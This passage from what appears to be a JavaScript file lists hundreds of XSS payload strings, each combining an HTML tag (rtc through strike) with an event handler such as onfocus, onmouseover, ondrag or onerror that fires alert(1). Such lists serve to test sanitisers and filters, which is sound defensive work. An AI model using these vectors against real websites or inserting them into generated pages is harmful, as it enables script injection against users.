  String.raw`<rtc id=x tabindex=1 onbeforedeactivate=alert(1)></rtc><input autofocus>`,
  String.raw`<rtc id=x tabindex=1 ondeactivate=alert(1)></rtc><input id=y autofocus>`,
  String.raw`<rtc id=x tabindex=1 onfocus=alert(1)></rtc>`,
  String.raw`<rtc id=x tabindex=1 onfocusin=alert(1)></rtc>`,
  String.raw`<rtc onbeforecopy="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc onbeforecut="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc onbeforepaste="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc onblur=alert(1) tabindex=1 id=x></rtc><input autofocus>`,
  String.raw`<rtc onclick="alert(1)">test</rtc>`,
  String.raw`<rtc oncontextmenu="alert(1)">test</rtc>`,
  String.raw`<rtc oncopy="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc oncut="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc ondblclick="alert(1)">test</rtc>`,
  String.raw`<rtc onfocusout=alert(1) tabindex=1 id=x></rtc><input autofocus>`,
  String.raw`<rtc onkeydown="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc onkeypress="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc onkeyup="alert(1)" contenteditable>test</rtc>`,
  String.raw`<rtc onmousedown="alert(1)">test</rtc>`,
  String.raw`<rtc onmouseenter="alert(1)">test</rtc>`,
  String.raw`<rtc onmouseleave="alert(1)">test</rtc>`,
  String.raw`<rtc onmousemove="alert(1)">test</rtc>`,
  String.raw`<rtc onmouseout="alert(1)">test</rtc>`,
  String.raw`<rtc onmouseover="alert(1)">test</rtc>`,
  String.raw`<rtc onmouseup="alert(1)">test</rtc>`,
  String.raw`<rtc onpaste="alert(1)" contenteditable>test</rtc>`,
  String.raw`<ruby draggable="true" ondrag="alert(1)">test</ruby>`,
  String.raw`<ruby draggable="true" ondragend="alert(1)">test</ruby>`,
  String.raw`<ruby draggable="true" ondragenter="alert(1)">test</ruby>`,
  String.raw`<ruby draggable="true" ondragleave="alert(1)">test</ruby>`,
  String.raw`<ruby draggable="true" ondragstart="alert(1)">test</ruby>`,
  String.raw`<ruby id=x tabindex=1 onactivate=alert(1)></ruby>`,
  String.raw`<ruby id=x tabindex=1 onbeforeactivate=alert(1)></ruby>`,
  String.raw`<ruby id=x tabindex=1 onbeforedeactivate=alert(1)></ruby><input autofocus>`,
  String.raw`<ruby id=x tabindex=1 ondeactivate=alert(1)></ruby><input id=y autofocus>`,
  String.raw`<ruby id=x tabindex=1 onfocus=alert(1)></ruby>`,
  String.raw`<ruby id=x tabindex=1 onfocusin=alert(1)></ruby>`,
  String.raw`<ruby onbeforecopy="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby onbeforecut="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby onbeforepaste="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby onblur=alert(1) tabindex=1 id=x></ruby><input autofocus>`,
  String.raw`<ruby onclick="alert(1)">test</ruby>`,
  String.raw`<ruby oncontextmenu="alert(1)">test</ruby>`,
  String.raw`<ruby oncopy="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby oncut="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby ondblclick="alert(1)">test</ruby>`,
  String.raw`<ruby onfocusout=alert(1) tabindex=1 id=x></ruby><input autofocus>`,
  String.raw`<ruby onkeydown="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby onkeypress="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby onkeyup="alert(1)" contenteditable>test</ruby>`,
  String.raw`<ruby onmousedown="alert(1)">test</ruby>`,
  String.raw`<ruby onmouseenter="alert(1)">test</ruby>`,
  String.raw`<ruby onmouseleave="alert(1)">test</ruby>`,
  String.raw`<ruby onmousemove="alert(1)">test</ruby>`,
  String.raw`<ruby onmouseout="alert(1)">test</ruby>`,
  String.raw`<ruby onmouseover="alert(1)">test</ruby>`,
  String.raw`<ruby onmouseup="alert(1)">test</ruby>`,
  String.raw`<ruby onpaste="alert(1)" contenteditable>test</ruby>`,
  String.raw`<s draggable="true" ondrag="alert(1)">test</s>`,
  String.raw`<s draggable="true" ondragend="alert(1)">test</s>`,
  String.raw`<s draggable="true" ondragenter="alert(1)">test</s>`,
  String.raw`<s draggable="true" ondragleave="alert(1)">test</s>`,
  String.raw`<s draggable="true" ondragstart="alert(1)">test</s>`,
  String.raw`<s id=x tabindex=1 onactivate=alert(1)></s>`,
  String.raw`<s id=x tabindex=1 onbeforeactivate=alert(1)></s>`,
  String.raw`<s id=x tabindex=1 onbeforedeactivate=alert(1)></s><input autofocus>`,
  String.raw`<s id=x tabindex=1 ondeactivate=alert(1)></s><input id=y autofocus>`,
  String.raw`<s id=x tabindex=1 onfocus=alert(1)></s>`,
  String.raw`<s id=x tabindex=1 onfocusin=alert(1)></s>`,
  String.raw`<s onbeforecopy="alert(1)" contenteditable>test</s>`,
  String.raw`<s onbeforecut="alert(1)" contenteditable>test</s>`,
  String.raw`<s onbeforepaste="alert(1)" contenteditable>test</s>`,
  String.raw`<s onblur=alert(1) tabindex=1 id=x></s><input autofocus>`,
  String.raw`<s onclick="alert(1)">test</s>`,
  String.raw`<s oncontextmenu="alert(1)">test</s>`,
  String.raw`<s oncopy="alert(1)" contenteditable>test</s>`,
  String.raw`<s oncut="alert(1)" contenteditable>test</s>`,
  String.raw`<s ondblclick="alert(1)">test</s>`,
  String.raw`<s onfocusout=alert(1) tabindex=1 id=x></s><input autofocus>`,
  String.raw`<s onkeydown="alert(1)" contenteditable>test</s>`,
  String.raw`<s onkeypress="alert(1)" contenteditable>test</s>`,
  String.raw`<s onkeyup="alert(1)" contenteditable>test</s>`,
  String.raw`<s onmousedown="alert(1)">test</s>`,
  String.raw`<s onmouseenter="alert(1)">test</s>`,
  String.raw`<s onmouseleave="alert(1)">test</s>`,
  String.raw`<s onmousemove="alert(1)">test</s>`,
  String.raw`<s onmouseout="alert(1)">test</s>`,
  String.raw`<s onmouseover="alert(1)">test</s>`,
  String.raw`<s onmouseup="alert(1)">test</s>`,
  String.raw`<s onpaste="alert(1)" contenteditable>test</s>`,
  String.raw`<samp draggable="true" ondrag="alert(1)">test</samp>`,
  String.raw`<samp draggable="true" ondragend="alert(1)">test</samp>`,
  String.raw`<samp draggable="true" ondragenter="alert(1)">test</samp>`,
  String.raw`<samp draggable="true" ondragleave="alert(1)">test</samp>`,
  String.raw`<samp draggable="true" ondragstart="alert(1)">test</samp>`,
  String.raw`<samp id=x tabindex=1 onactivate=alert(1)></samp>`,
  String.raw`<samp id=x tabindex=1 onbeforeactivate=alert(1)></samp>`,
  String.raw`<samp id=x tabindex=1 onbeforedeactivate=alert(1)></samp><input autofocus>`,
  String.raw`<samp id=x tabindex=1 ondeactivate=alert(1)></samp><input id=y autofocus>`,
  String.raw`<samp id=x tabindex=1 onfocus=alert(1)></samp>`,
  String.raw`<samp id=x tabindex=1 onfocusin=alert(1)></samp>`,
  String.raw`<samp onbeforecopy="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp onbeforecut="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp onbeforepaste="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp onblur=alert(1) tabindex=1 id=x></samp><input autofocus>`,
  String.raw`<samp onclick="alert(1)">test</samp>`,
  String.raw`<samp oncontextmenu="alert(1)">test</samp>`,
  String.raw`<samp oncopy="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp oncut="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp ondblclick="alert(1)">test</samp>`,
  String.raw`<samp onfocusout=alert(1) tabindex=1 id=x></samp><input autofocus>`,
  String.raw`<samp onkeydown="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp onkeypress="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp onkeyup="alert(1)" contenteditable>test</samp>`,
  String.raw`<samp onmousedown="alert(1)">test</samp>`,
  String.raw`<samp onmouseenter="alert(1)">test</samp>`,
  String.raw`<samp onmouseleave="alert(1)">test</samp>`,
  String.raw`<samp onmousemove="alert(1)">test</samp>`,
  String.raw`<samp onmouseout="alert(1)">test</samp>`,
  String.raw`<samp onmouseover="alert(1)">test</samp>`,
  String.raw`<samp onmouseup="alert(1)">test</samp>`,
  String.raw`<samp onpaste="alert(1)" contenteditable>test</samp>`,
  String.raw`<script draggable="true" ondrag="alert(1)">test</script>`,
  String.raw`<script draggable="true" ondragend="alert(1)">test</script>`,
  String.raw`<script draggable="true" ondragenter="alert(1)">test</script>`,
  String.raw`<script draggable="true" ondragleave="alert(1)">test</script>`,
  String.raw`<script draggable="true" ondragstart="alert(1)">test</script>`,
  String.raw`<script id=x tabindex=1 onactivate=alert(1)></script>`,
  String.raw`<script id=x tabindex=1 onbeforeactivate=alert(1)></script>`,
  String.raw`<script id=x tabindex=1 onbeforedeactivate=alert(1)></script><input autofocus>`,
  String.raw`<script id=x tabindex=1 ondeactivate=alert(1)></script><input id=y autofocus>`,
  String.raw`<script id=x tabindex=1 onfocus=alert(1)></script>`,
  String.raw`<script id=x tabindex=1 onfocusin=alert(1)></script>`,
  String.raw`<script onbeforecopy="alert(1)" contenteditable>test</script>`,
  String.raw`<script onbeforecut="alert(1)" contenteditable>test</script>`,
  String.raw`<script onbeforepaste="alert(1)" contenteditable>test</script>`,
  String.raw`<script onblur=alert(1) tabindex=1 id=x></script><input autofocus>`,
  String.raw`<script onclick="alert(1)">test</script>`,
  String.raw`<script oncontextmenu="alert(1)">test</script>`,
  String.raw`<script oncopy="alert(1)" contenteditable>test</script>`,
  String.raw`<script oncut="alert(1)" contenteditable>test</script>`,
  String.raw`<script ondblclick="alert(1)">test</script>`,
  String.raw`<script onerror=alert(1) src=/></script>`,
  String.raw`<script onfocusout=alert(1) tabindex=1 id=x></script><input autofocus>`,
  String.raw`<script onkeydown="alert(1)" contenteditable>test</script>`,
  String.raw`<script onkeypress="alert(1)" contenteditable>test</script>`,
  String.raw`<script onkeyup="alert(1)" contenteditable>test</script>`,
  String.raw`<script onload=alert(1) src=validjs.js></script>`,
  String.raw`<script onmousedown="alert(1)">test</script>`,
  String.raw`<script onmouseenter="alert(1)">test</script>`,
  String.raw`<script onmouseleave="alert(1)">test</script>`,
  String.raw`<script onmousemove="alert(1)">test</script>`,
  String.raw`<script onmouseout="alert(1)">test</script>`,
  String.raw`<script onmouseover="alert(1)">test</script>`,
  String.raw`<script onmouseup="alert(1)">test</script>`,
  String.raw`<script onpaste="alert(1)" contenteditable>test</script>`,
  String.raw`<script onreadystatechange=alert(1)></script>`,
  String.raw`<section draggable="true" ondrag="alert(1)">test</section>`,
  String.raw`<section draggable="true" ondragend="alert(1)">test</section>`,
  String.raw`<section draggable="true" ondragenter="alert(1)">test</section>`,
  String.raw`<section draggable="true" ondragleave="alert(1)">test</section>`,
  String.raw`<section draggable="true" ondragstart="alert(1)">test</section>`,
  String.raw`<section id=x tabindex=1 onactivate=alert(1)></section>`,
  String.raw`<section id=x tabindex=1 onbeforeactivate=alert(1)></section>`,
  String.raw`<section id=x tabindex=1 onbeforedeactivate=alert(1)></section><input autofocus>`,
  String.raw`<section id=x tabindex=1 ondeactivate=alert(1)></section><input id=y autofocus>`,
  String.raw`<section id=x tabindex=1 onfocus=alert(1)></section>`,
  String.raw`<section id=x tabindex=1 onfocusin=alert(1)></section>`,
  String.raw`<section onbeforecopy="alert(1)" contenteditable>test</section>`,
  String.raw`<section onbeforecut="alert(1)" contenteditable>test</section>`,
  String.raw`<section onbeforepaste="alert(1)" contenteditable>test</section>`,
  String.raw`<section onblur=alert(1) tabindex=1 id=x></section><input autofocus>`,
  String.raw`<section onclick="alert(1)">test</section>`,
  String.raw`<section oncontextmenu="alert(1)">test</section>`,
  String.raw`<section oncopy="alert(1)" contenteditable>test</section>`,
  String.raw`<section oncut="alert(1)" contenteditable>test</section>`,
  String.raw`<section ondblclick="alert(1)">test</section>`,
  String.raw`<section onfocusout=alert(1) tabindex=1 id=x></section><input autofocus>`,
  String.raw`<section onkeydown="alert(1)" contenteditable>test</section>`,
  String.raw`<section onkeypress="alert(1)" contenteditable>test</section>`,
  String.raw`<section onkeyup="alert(1)" contenteditable>test</section>`,
  String.raw`<section onmousedown="alert(1)">test</section>`,
  String.raw`<section onmouseenter="alert(1)">test</section>`,
  String.raw`<section onmouseleave="alert(1)">test</section>`,
  String.raw`<section onmousemove="alert(1)">test</section>`,
  String.raw`<section onmouseout="alert(1)">test</section>`,
  String.raw`<section onmouseover="alert(1)">test</section>`,
  String.raw`<section onmouseup="alert(1)">test</section>`,
  String.raw`<section onpaste="alert(1)" contenteditable>test</section>`,
  String.raw`<select autofocus onfocus=alert(1)>`,
  String.raw`<select autofocus onfocusin=alert(1)>`,
  String.raw`<select draggable="true" ondrag="alert(1)">test</select>`,
  String.raw`<select draggable="true" ondragend="alert(1)">test</select>`,
  String.raw`<select draggable="true" ondragenter="alert(1)">test</select>`,
  String.raw`<select draggable="true" ondragleave="alert(1)">test</select>`,
  String.raw`<select draggable="true" ondragstart="alert(1)">test</select>`,
  String.raw`<select id=x tabindex=1 onactivate=alert(1)></select>`,
  String.raw`<select id=x tabindex=1 onbeforeactivate=alert(1)></select>`,
  String.raw`<select id=x tabindex=1 onbeforedeactivate=alert(1)></select><input autofocus>`,
  String.raw`<select id=x tabindex=1 ondeactivate=alert(1)></select><input id=y autofocus>`,
  String.raw`<select onbeforecopy="alert(1)" contenteditable>test</select>`,
  String.raw`<select onbeforecut="alert(1)" contenteditable>test</select>`,
  String.raw`<select onbeforepaste="alert(1)" contenteditable>test</select>`,
  String.raw`<select onblur=alert(1) id=x></select><input autofocus>`,
  String.raw`<select onchange=alert(1)><option>change me</option><option>XSS</option></select>`,
  String.raw`<select onclick="alert(1)">test</select>`,
  String.raw`<select oncontextmenu="alert(1)">test</select>`,
  String.raw`<select oncopy="alert(1)" contenteditable>test</select>`,
  String.raw`<select oncut="alert(1)" contenteditable>test</select>`,
  String.raw`<select ondblclick="alert(1)">test</select>`,
  String.raw`<select onfocusout=alert(1) id=x></select><input autofocus>`,
  String.raw`<select onkeydown="alert(1)" contenteditable>test</select>`,
  String.raw`<select onkeypress="alert(1)" contenteditable>test</select>`,
  String.raw`<select onkeyup="alert(1)" contenteditable>test</select>`,
  String.raw`<select onmousedown="alert(1)">test</select>`,
  String.raw`<select onmouseenter="alert(1)">test</select>`,
  String.raw`<select onmouseleave="alert(1)">test</select>`,
  String.raw`<select onmousemove="alert(1)">test</select>`,
  String.raw`<select onmouseout="alert(1)">test</select>`,
  String.raw`<select onmouseover="alert(1)">test</select>`,
  String.raw`<select onmouseup="alert(1)">test</select>`,
  String.raw`<select onpaste="alert(1)" contenteditable>test</select>`,
  String.raw`<shadow draggable="true" ondrag="alert(1)">test</shadow>`,
  String.raw`<shadow draggable="true" ondragend="alert(1)">test</shadow>`,
  String.raw`<shadow draggable="true" ondragenter="alert(1)">test</shadow>`,
  String.raw`<shadow draggable="true" ondragleave="alert(1)">test</shadow>`,
  String.raw`<shadow draggable="true" ondragstart="alert(1)">test</shadow>`,
  String.raw`<shadow id=x tabindex=1 onactivate=alert(1)></shadow>`,
  String.raw`<shadow id=x tabindex=1 onbeforeactivate=alert(1)></shadow>`,
  String.raw`<shadow id=x tabindex=1 onbeforedeactivate=alert(1)></shadow><input autofocus>`,
  String.raw`<shadow id=x tabindex=1 ondeactivate=alert(1)></shadow><input id=y autofocus>`,
  String.raw`<shadow id=x tabindex=1 onfocus=alert(1)></shadow>`,
  String.raw`<shadow id=x tabindex=1 onfocusin=alert(1)></shadow>`,
  String.raw`<shadow onbeforecopy="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow onbeforecut="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow onbeforepaste="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow onblur=alert(1) tabindex=1 id=x></shadow><input autofocus>`,
  String.raw`<shadow onclick="alert(1)">test</shadow>`,
  String.raw`<shadow oncontextmenu="alert(1)">test</shadow>`,
  String.raw`<shadow oncopy="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow oncut="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow ondblclick="alert(1)">test</shadow>`,
  String.raw`<shadow onfocusout=alert(1) tabindex=1 id=x></shadow><input autofocus>`,
  String.raw`<shadow onkeydown="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow onkeypress="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow onkeyup="alert(1)" contenteditable>test</shadow>`,
  String.raw`<shadow onmousedown="alert(1)">test</shadow>`,
  String.raw`<shadow onmouseenter="alert(1)">test</shadow>`,
  String.raw`<shadow onmouseleave="alert(1)">test</shadow>`,
  String.raw`<shadow onmousemove="alert(1)">test</shadow>`,
  String.raw`<shadow onmouseout="alert(1)">test</shadow>`,
  String.raw`<shadow onmouseover="alert(1)">test</shadow>`,
  String.raw`<shadow onmouseup="alert(1)">test</shadow>`,
  String.raw`<shadow onpaste="alert(1)" contenteditable>test</shadow>`,
  String.raw`<slot draggable="true" ondrag="alert(1)">test</slot>`,
  String.raw`<slot draggable="true" ondragend="alert(1)">test</slot>`,
  String.raw`<slot draggable="true" ondragenter="alert(1)">test</slot>`,
  String.raw`<slot draggable="true" ondragleave="alert(1)">test</slot>`,
  String.raw`<slot draggable="true" ondragstart="alert(1)">test</slot>`,
  String.raw`<slot id=x tabindex=1 onactivate=alert(1)></slot>`,
  String.raw`<slot id=x tabindex=1 onbeforeactivate=alert(1)></slot>`,
  String.raw`<slot id=x tabindex=1 onbeforedeactivate=alert(1)></slot><input autofocus>`,
  String.raw`<slot id=x tabindex=1 ondeactivate=alert(1)></slot><input id=y autofocus>`,
  String.raw`<slot id=x tabindex=1 onfocus=alert(1)></slot>`,
  String.raw`<slot id=x tabindex=1 onfocusin=alert(1)></slot>`,
  String.raw`<slot onbeforecopy="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot onbeforecut="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot onbeforepaste="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot onblur=alert(1) tabindex=1 id=x></slot><input autofocus>`,
  String.raw`<slot onclick="alert(1)">test</slot>`,
  String.raw`<slot oncontextmenu="alert(1)">test</slot>`,
  String.raw`<slot oncopy="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot oncut="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot ondblclick="alert(1)">test</slot>`,
  String.raw`<slot onfocusout=alert(1) tabindex=1 id=x></slot><input autofocus>`,
  String.raw`<slot onkeydown="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot onkeypress="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot onkeyup="alert(1)" contenteditable>test</slot>`,
  String.raw`<slot onmousedown="alert(1)">test</slot>`,
  String.raw`<slot onmouseenter="alert(1)">test</slot>`,
  String.raw`<slot onmouseleave="alert(1)">test</slot>`,
  String.raw`<slot onmousemove="alert(1)">test</slot>`,
  String.raw`<slot onmouseout="alert(1)">test</slot>`,
  String.raw`<slot onmouseover="alert(1)">test</slot>`,
  String.raw`<slot onmouseup="alert(1)">test</slot>`,
  String.raw`<slot onpaste="alert(1)" contenteditable>test</slot>`,
  String.raw`<small draggable="true" ondrag="alert(1)">test</small>`,
  String.raw`<small draggable="true" ondragend="alert(1)">test</small>`,
  String.raw`<small draggable="true" ondragenter="alert(1)">test</small>`,
  String.raw`<small draggable="true" ondragleave="alert(1)">test</small>`,
  String.raw`<small draggable="true" ondragstart="alert(1)">test</small>`,
  String.raw`<small id=x tabindex=1 onactivate=alert(1)></small>`,
  String.raw`<small id=x tabindex=1 onbeforeactivate=alert(1)></small>`,
  String.raw`<small id=x tabindex=1 onbeforedeactivate=alert(1)></small><input autofocus>`,
  String.raw`<small id=x tabindex=1 ondeactivate=alert(1)></small><input id=y autofocus>`,
  String.raw`<small id=x tabindex=1 onfocus=alert(1)></small>`,
  String.raw`<small id=x tabindex=1 onfocusin=alert(1)></small>`,
  String.raw`<small onbeforecopy="alert(1)" contenteditable>test</small>`,
  String.raw`<small onbeforecut="alert(1)" contenteditable>test</small>`,
  String.raw`<small onbeforepaste="alert(1)" contenteditable>test</small>`,
  String.raw`<small onblur=alert(1) tabindex=1 id=x></small><input autofocus>`,
  String.raw`<small onclick="alert(1)">test</small>`,
  String.raw`<small oncontextmenu="alert(1)">test</small>`,
  String.raw`<small oncopy="alert(1)" contenteditable>test</small>`,
  String.raw`<small oncut="alert(1)" contenteditable>test</small>`,
  String.raw`<small ondblclick="alert(1)">test</small>`,
  String.raw`<small onfocusout=alert(1) tabindex=1 id=x></small><input autofocus>`,
  String.raw`<small onkeydown="alert(1)" contenteditable>test</small>`,
  String.raw`<small onkeypress="alert(1)" contenteditable>test</small>`,
  String.raw`<small onkeyup="alert(1)" contenteditable>test</small>`,
  String.raw`<small onmousedown="alert(1)">test</small>`,
  String.raw`<small onmouseenter="alert(1)">test</small>`,
  String.raw`<small onmouseleave="alert(1)">test</small>`,
  String.raw`<small onmousemove="alert(1)">test</small>`,
  String.raw`<small onmouseout="alert(1)">test</small>`,
  String.raw`<small onmouseover="alert(1)">test</small>`,
  String.raw`<small onmouseup="alert(1)">test</small>`,
  String.raw`<small onpaste="alert(1)" contenteditable>test</small>`,
  String.raw`<source draggable="true" ondrag="alert(1)">test</source>`,
  String.raw`<source draggable="true" ondragend="alert(1)">test</source>`,
  String.raw`<source draggable="true" ondragenter="alert(1)">test</source>`,
  String.raw`<source draggable="true" ondragleave="alert(1)">test</source>`,
  String.raw`<source draggable="true" ondragstart="alert(1)">test</source>`,
  String.raw`<source id=x tabindex=1 onactivate=alert(1)></source>`,
  String.raw`<source id=x tabindex=1 onbeforeactivate=alert(1)></source>`,
  String.raw`<source id=x tabindex=1 onbeforedeactivate=alert(1)></source><input autofocus>`,
  String.raw`<source id=x tabindex=1 ondeactivate=alert(1)></source><input id=y autofocus>`,
  String.raw`<source id=x tabindex=1 onfocus=alert(1)></source>`,
  String.raw`<source id=x tabindex=1 onfocusin=alert(1)></source>`,
  String.raw`<source onbeforecopy="alert(1)" contenteditable>test</source>`,
  String.raw`<source onbeforecut="alert(1)" contenteditable>test</source>`,
  String.raw`<source onbeforepaste="alert(1)" contenteditable>test</source>`,
  String.raw`<source onblur=alert(1) tabindex=1 id=x></source><input autofocus>`,
  String.raw`<source onclick="alert(1)">test</source>`,
  String.raw`<source oncontextmenu="alert(1)">test</source>`,
  String.raw`<source oncopy="alert(1)" contenteditable>test</source>`,
  String.raw`<source oncut="alert(1)" contenteditable>test</source>`,
  String.raw`<source ondblclick="alert(1)">test</source>`,
  String.raw`<source onfocusout=alert(1) tabindex=1 id=x></source><input autofocus>`,
  String.raw`<source onkeydown="alert(1)" contenteditable>test</source>`,
  String.raw`<source onkeypress="alert(1)" contenteditable>test</source>`,
  String.raw`<source onkeyup="alert(1)" contenteditable>test</source>`,
  String.raw`<source onmousedown="alert(1)">test</source>`,
  String.raw`<source onmouseenter="alert(1)">test</source>`,
  String.raw`<source onmouseleave="alert(1)">test</source>`,
  String.raw`<source onmousemove="alert(1)">test</source>`,
  String.raw`<source onmouseout="alert(1)">test</source>`,
  String.raw`<source onmouseover="alert(1)">test</source>`,
  String.raw`<source onmouseup="alert(1)">test</source>`,
  String.raw`<source onpaste="alert(1)" contenteditable>test</source>`,
  String.raw`<spacer draggable="true" ondrag="alert(1)">test</spacer>`,
  String.raw`<spacer draggable="true" ondragend="alert(1)">test</spacer>`,
  String.raw`<spacer draggable="true" ondragenter="alert(1)">test</spacer>`,
  String.raw`<spacer draggable="true" ondragleave="alert(1)">test</spacer>`,
  String.raw`<spacer draggable="true" ondragstart="alert(1)">test</spacer>`,
  String.raw`<spacer id=x tabindex=1 onactivate=alert(1)></spacer>`,
  String.raw`<spacer id=x tabindex=1 onbeforeactivate=alert(1)></spacer>`,
  String.raw`<spacer id=x tabindex=1 onbeforedeactivate=alert(1)></spacer><input autofocus>`,
  String.raw`<spacer id=x tabindex=1 ondeactivate=alert(1)></spacer><input id=y autofocus>`,
  String.raw`<spacer id=x tabindex=1 onfocus=alert(1)></spacer>`,
  String.raw`<spacer id=x tabindex=1 onfocusin=alert(1)></spacer>`,
  String.raw`<spacer onbeforecopy="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer onbeforecut="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer onbeforepaste="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer onblur=alert(1) tabindex=1 id=x></spacer><input autofocus>`,
  String.raw`<spacer onclick="alert(1)">test</spacer>`,
  String.raw`<spacer oncontextmenu="alert(1)">test</spacer>`,
  String.raw`<spacer oncopy="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer oncut="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer ondblclick="alert(1)">test</spacer>`,
  String.raw`<spacer onfocusout=alert(1) tabindex=1 id=x></spacer><input autofocus>`,
  String.raw`<spacer onkeydown="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer onkeypress="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer onkeyup="alert(1)" contenteditable>test</spacer>`,
  String.raw`<spacer onmousedown="alert(1)">test</spacer>`,
  String.raw`<spacer onmouseenter="alert(1)">test</spacer>`,
  String.raw`<spacer onmouseleave="alert(1)">test</spacer>`,
  String.raw`<spacer onmousemove="alert(1)">test</spacer>`,
  String.raw`<spacer onmouseout="alert(1)">test</spacer>`,
  String.raw`<spacer onmouseover="alert(1)">test</spacer>`,
  String.raw`<spacer onmouseup="alert(1)">test</spacer>`,
  String.raw`<spacer onpaste="alert(1)" contenteditable>test</spacer>`,
  String.raw`<span draggable="true" ondrag="alert(1)">test</span>`,
  String.raw`<span draggable="true" ondragend="alert(1)">test</span>`,
  String.raw`<span draggable="true" ondragenter="alert(1)">test</span>`,
  String.raw`<span draggable="true" ondragleave="alert(1)">test</span>`,
  String.raw`<span draggable="true" ondragstart="alert(1)">test</span>`,
  String.raw`<span id=x tabindex=1 onactivate=alert(1)></span>`,
  String.raw`<span id=x tabindex=1 onbeforeactivate=alert(1)></span>`,
  String.raw`<span id=x tabindex=1 onbeforedeactivate=alert(1)></span><input autofocus>`,
  String.raw`<span id=x tabindex=1 ondeactivate=alert(1)></span><input id=y autofocus>`,
  String.raw`<span id=x tabindex=1 onfocus=alert(1)></span>`,
  String.raw`<span id=x tabindex=1 onfocusin=alert(1)></span>`,
  String.raw`<span onbeforecopy="alert(1)" contenteditable>test</span>`,
  String.raw`<span onbeforecut="alert(1)" contenteditable>test</span>`,
  String.raw`<span onbeforepaste="alert(1)" contenteditable>test</span>`,
  String.raw`<span onblur=alert(1) tabindex=1 id=x></span><input autofocus>`,
  String.raw`<span onclick="alert(1)">test</span>`,
  String.raw`<span oncontextmenu="alert(1)">test</span>`,
  String.raw`<span oncopy="alert(1)" contenteditable>test</span>`,
  String.raw`<span oncut="alert(1)" contenteditable>test</span>`,
  String.raw`<span ondblclick="alert(1)">test</span>`,
  String.raw`<span onfocusout=alert(1) tabindex=1 id=x></span><input autofocus>`,
  String.raw`<span onkeydown="alert(1)" contenteditable>test</span>`,
  String.raw`<span onkeypress="alert(1)" contenteditable>test</span>`,
  String.raw`<span onkeyup="alert(1)" contenteditable>test</span>`,
  String.raw`<span onmousedown="alert(1)">test</span>`,
  String.raw`<span onmouseenter="alert(1)">test</span>`,
  String.raw`<span onmouseleave="alert(1)">test</span>`,
  String.raw`<span onmousemove="alert(1)">test</span>`,
  String.raw`<span onmouseout="alert(1)">test</span>`,
  String.raw`<span onmouseover="alert(1)">test</span>`,
  String.raw`<span onmouseup="alert(1)">test</span>`,
  String.raw`<span onpaste="alert(1)" contenteditable>test</span>`,
  String.raw`<strike draggable="true" ondrag="alert(1)">test</strike>`,
  String.raw`<strike draggable="true" ondragend="alert(1)">test</strike>`,
  String.raw`<strike draggable="true" ondragenter="alert(1)">test</strike>`,
  String.raw`<strike draggable="true" ondragleave="alert(1)">test</strike>`,
  String.raw`<strike draggable="true" ondragstart="alert(1)">test</strike>`,
  String.raw`<strike id=x tabindex=1 onactivate=alert(1)></strike>`,
  String.raw`<strike id=x tabindex=1 onbeforeactivate=alert(1)></strike>`,
  String.raw`<strike id=x tabindex=1 onbeforedeactivate=alert(1)></strike><input autofocus>`,
  String.raw`<strike id=x tabindex=1 ondeactivate=alert(1)></strike><input id=y autofocus>`,
  String.raw`<strike id=x tabindex=1 onfocus=alert(1)></strike>`,
  String.raw`<strike id=x tabindex=1 onfocusin=alert(1)></strike>`,
  String.raw`<strike onbeforecopy="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike onbeforecut="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike onbeforepaste="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike onblur=alert(1) tabindex=1 id=x></strike><input autofocus>`,
  String.raw`<strike onclick="alert(1)">test</strike>`,
  String.raw`<strike oncontextmenu="alert(1)">test</strike>`,
  String.raw`<strike oncopy="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike oncut="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike ondblclick="alert(1)">test</strike>`,
  String.raw`<strike onfocusout=alert(1) tabindex=1 id=x></strike><input autofocus>`,
  String.raw`<strike onkeydown="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike onkeypress="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike onkeyup="alert(1)" contenteditable>test</strike>`,
  String.raw`<strike onmousedown="alert(1)">test</strike>`,
  String.raw`<strike onmouseenter="alert(1)">test</strike>`,
  String.raw`<strike onmouseleave="alert(1)">test</strike>`,
